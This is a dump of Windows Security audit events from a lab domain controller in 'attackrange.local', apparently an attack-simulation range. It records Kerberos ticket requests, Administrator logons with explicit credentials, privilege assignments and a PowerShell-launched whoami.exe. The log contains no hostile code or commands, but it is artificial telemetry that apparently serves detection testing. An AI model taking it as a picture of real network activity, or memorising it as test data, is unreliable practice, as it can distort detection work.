	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:48:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5061
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=System Integrity
OpCode=Info
RecordNumber=249601
Keywords=Audit Success
Message=Cryptographic operation.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Cryptographic Parameters:
	Provider Name:	Microsoft Software Key Storage Provider
	Algorithm Name:	RSA
	Key Name:	tp-ffd20473-3ab1-4c47-b08e-a6a20f099540
	Key Type:	Machine key.

Cryptographic Operation:
	Operation:	Open Key.
	Return Code:	0x0
03/11/2021 11:48:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5058
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Other System Events
OpCode=Info
RecordNumber=249600
Keywords=Audit Success
Message=Key file operation.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Cryptographic Parameters:
	Provider Name:	Microsoft Software Key Storage Provider
	Algorithm Name:	UNKNOWN
	Key Name:	34f20231e4ca291eb1b001b659a999f1_df39b6b4-63d4-40b3-b2d0-118f8f0b6015
	Key Type:	Machine key.

Key File Operation Information:
	File Path:	C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\34f20231e4ca291eb1b001b659a999f1_df39b6b4-63d4-40b3-b2d0-118f8f0b6015
	Operation:	Read persisted key from file.
	Return Code:	0x0
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249688
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE810E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249687
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE810E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64311

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249686
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE810E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249685
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE80AD

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249684
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE80AD
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64310

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249683
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE80AD

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249682
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE8047

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249681
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE8047
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64309

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249680
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE8047

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249679
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE7FE6

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249678
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE7FE6
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64308

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249677
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE7FE6

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249676
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE7F76

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249675
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE7153

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249674
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE73A8

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249673
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE7F76

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249672
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE7F76
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{31ACEE6B-E789-5BE7-EA20-1B2B6D163273}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249671
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{31ACEE6B-E789-5BE7-EA20-1B2B6D163273}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=249670
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{31ACEE6B-E789-5BE7-EA20-1B2B6D163273}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=249669
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249668
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE7F5A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249667
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE7F5A

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249666
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE7F5A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{31ACEE6B-E789-5BE7-EA20-1B2B6D163273}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249665
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{31ACEE6B-E789-5BE7-EA20-1B2B6D163273}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=249664
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{31ACEE6B-E789-5BE7-EA20-1B2B6D163273}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=249663
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249662
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE75C3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=249661
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE7153

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xbf0
	New Process Name:	C:\Windows\System32\whoami.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x674
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\whoami.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

